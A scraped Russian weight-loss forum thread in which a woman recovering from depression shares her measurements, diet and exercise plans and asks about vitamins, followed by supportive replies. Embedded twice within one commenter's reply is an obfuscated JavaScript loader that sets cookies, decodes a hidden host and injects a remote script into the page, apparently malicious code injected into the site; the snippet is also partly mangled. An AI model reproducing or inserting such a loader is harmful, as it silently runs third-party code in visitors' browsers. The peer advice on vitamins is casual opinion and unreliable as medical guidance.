Виктория
02.02.2016 16:46

Осознание

После затяжной депрессии длительностью в 2,5 года наконец-то пришло осознание того, что жизнь продолжается. А так же того, что панду, которая смотрит на меня из зеркала, я не знаю. Все стадии пройдены, жалости к себе уже не осталось, пора переходить к действиям...
Тьфу ты...не так, все не так. Начинать надо с позитива.

Дубль №2

Всем привет)
Меня зовут Вика, это мой первый день с МЗР. Главная цель в жизни - вернуть свои 58 кг.
Иллюзий не строю и первоначальная цель это 63кг (хотя лучшее-враг хорошего и не исключено, что меня "понесет с желаниями", как обычно).
Дано:  Рост 174
           Вес  74,5
           ОБ  106
           ОТ  82
           ОГ 96

Решила начать с малого:

- 2 недели записывала все, что ела, в блокнотик;
- уже 10 дней стараюсь питаться правильно (хотя позволяю себе то зефирку, то халвы кусочек, чего уж скрывать);
- с сегодняшнего дня начинаю считать калории;
- стараюсь больше двигаться;
- начала заниматься дома, пока это ограничивается 50 минутами 3 раза в неделю (5 мин разминка, 20 мин упражнения, 15 мин кручу обруч и снова разминка 10 мин) на больше меня сейчас не хватает;
- записалась на массаж 2 раза в неделю.

Так как я ленивая ж....а, и если начну все сразу-то через месяц заброшу - решила программу усложнять постепенно. В планах на март-апрель:
- вернуться  в спортзал (спустя 3 года то);
- хотя бы 1 раз в неделю ходить в бассейн.

За 2 недели столкнулась со следующими проблемами:

- крепатура (пережила, не шланговала, продолжала свои жалкие "тренировки", за неделю все прошло);
- я совершенно не умею пить воду (по моим подсчетам от силы в день получается 1,8л вместе со всеми продуктами, естественно);
- упадок сил (мне кажется из за нехватки витаминов).

Подытожим:

Цель поставлена, желание и мотивация есть. Периодически нуждаюсь в пинке. И остался открытым вопрос про витамины. Тут хотелось бы услышать совет от бывалых.

Ну и раз я упомянула панду... красивая картинка для  хорошего настроения)

 22 
 32
Ольга Ли 02.02.2016 16:55
Худенькая панда получается конечно) Удачного похудения, думаю все получится
Надежда 02.02.2016 16:57
После первых успехов жизнь станет радужнее а желание продолжать не пройдёт) А волшебных пиночков здесь добавят))Сообщество у нас отличное)))
Виктория 02.02.2016 16:58
Ольга Ли, спасибо) я пока писала - тоже думала, что все не так страшно выглядит в цифрах. Но внешне все печально(
Галина 02.02.2016 17:01
Виктория написал:
Периодически нуждаюсь в пинке.

Пинать будем. Пишите - за что.
Елена 02.02.2016 17:01
В перед!!!!
Julia Yazykova 02.02.2016 17:09
привет. я практически))  таких же параметров как и Вы - рост 175, бедра 104, талия 90))) грудь 100, стою в весе 78,9 уже 3 неделю, правда нет спорта...абонемент закончился... и праздники подвели))) хочу увидеть 75кг.

у Вас параметры  вообще прекрасные!!! все будет ок!!!

упадок сил от перенесенной депрессии, витамины  укрепят физиологически, а надо психически!!! что бы с нами не происходило - завтра новый день, и Солнце все равно взойдет!!! жизнь не остановится.
Сергей Михалков (детский писатель, батюшка Никиты Михалкова), за год до своей смерти давал интервью - у него спросили - в чем смысл жизни? - он ответил так - Смысл жизни - в самой жизни!!! в возможности ее прожить, почувствовать и пережить жизненные события.

так что - Вы живете!!!
Удачи вам!А витамины лучше получать из пищи.
Дерзайте! И удачи Вам!)window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
вот опять я со своими каракулями(window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Наташка 02.02.2016 18:24
Удачи! У Вас всё получится, главное набраться терпения и ни за что не сдаваться! Пишите - пинать будем))
Виктория 02.02.2016 18:26
Спасибо всем)
Елена Елена 02.02.2016 18:36
Удачи! Пинать будем, обращайтесь)) про витамины - в начале пути я витамины принимала (шипучие), т.к. чувствовала упадок сил, хотя нутриенты были 70-80%, сейчас видимо организм перенастроился, витамины не принимаю, но и категорично отказываться от них не планирую 
Удачи!!!
надежда 02.02.2016 18:49
Не бойтесь))))))))здесь пинают не больно)))))))))но стимулирует Главное,не отступать от намеченной цели.Все у Вас получится,у всех получается))))))))
Юлия 02.02.2016 19:06
Симпатичная панда! Удачи в начинаниях! Главное есть мотивация!
Елена Шоколад 03.02.2016 05:13
Виктория, удачи!!! Когда читала ваш пост- вот прям все мои проблемы написали и прям весь мой план действий)))) супер!! Все получится!!! ( до массажа я только не добралась... пока....)
Ольга 03.02.2016 05:31
Обязательно все получится. главное верить и не сдаваться!!!
JessicaM 03.02.2016 23:52
Удачи вам! 
Azog Half-Orc 03.02.2016 23:54
Видержки Вам и терпения, не забрасывайте!
Glorious E 04.02.2016 12:38
Виктория, у Вас обязательно овсе получится. Главное сейчас забыть все неприятно и думать о хорошем. Главное Ваше спокойствие и тогда все получится само собой! Я тоже только начала похудение и понимаю, как Вам нужна поддержка! Обращайтесь!
Настойчивости Вам и терпения. Витамины я пью, т к не всегда получается идеально составить свой рацион. Но в те дни, когда получается набрать едой хотя бы 80% от нормы - витамины не пью. 
Alyona Belous 04.02.2016 14:04
Удачи Вам!
Нина 04.02.2016 17:06
Удачи))все поулчится)
МАРИНА МЕЛЬНИК 04.02.2016 17:20
удачи вам,терпения и выдержки!
терпения и силы воли Вам
Дарья Ильенко 17.03.2016 16:22
Думала, калорийность фиников как у шоколада - 500-600 ккал, потому и не смотрела в их сторону. Мёдом обходилась. Если до 300 ккал, иногда пару штук позволить себе можно к кофе , , !
 
Дарья Ильенко 17.03.2016 16:24
Где же, действительно, найти финики по ккал = капусте? Это был бы мировой прорыв в диетологии! Производитель таких фиников озолотился бы ! А также обриллиантился, оплатинился и т.д. .
Татьяна 17.03.2016 16:33
Лень прогнать, депрессию не вспоминать, а с нами тут дружить! И будет вам счастье!
Дарья Ильенко 17.03.2016 16:35
Удачи не желаю, ТОЛЬКО УСПЕХА!
А вы уже сделали 70% своего успеха, когда сумели принять факт себя-не-такой-как-хотелось-бы и решились на перемены. Многие, увы, продолжают себя жалеть и заедать комплексы. Все у вас получится с таким настроем!
А витамины (особенно сейчас) не помешают. При сокращенном рационе лично я принимаю Дуовит + аминокислотный комплекс. Но тут индивидуально все.
Виктория 17.03.2016 16:53
Дарья Ильенко, Спасибо) я тоже считаю, что удача не поможет. На себя нужно рассчитывать, а не на удачу)
Виктория 17.03.2016 17:02
Юлия Николаенко, 1,5 месяца прошло уж со дня публикации этого поста) позади около 3 кг, мало, но все ж. И нутриенты научилась добирать без таблеточных витаминов, (сегодня вон рейтинг 94), и воду пью, как миленькая , и в спортзал пошла, вот только в бассейн еще никак не попаду. А так да, жалеть себя - последнее дело. Начнешь - сложно остановиться. И пока что-то серьезное и отрезвляющее не случится - прекратить невозможно.
А сейчас никто и ничто не заставит меня сдаться!
Интересные блоги
Новые рецепты
Лучшие рационы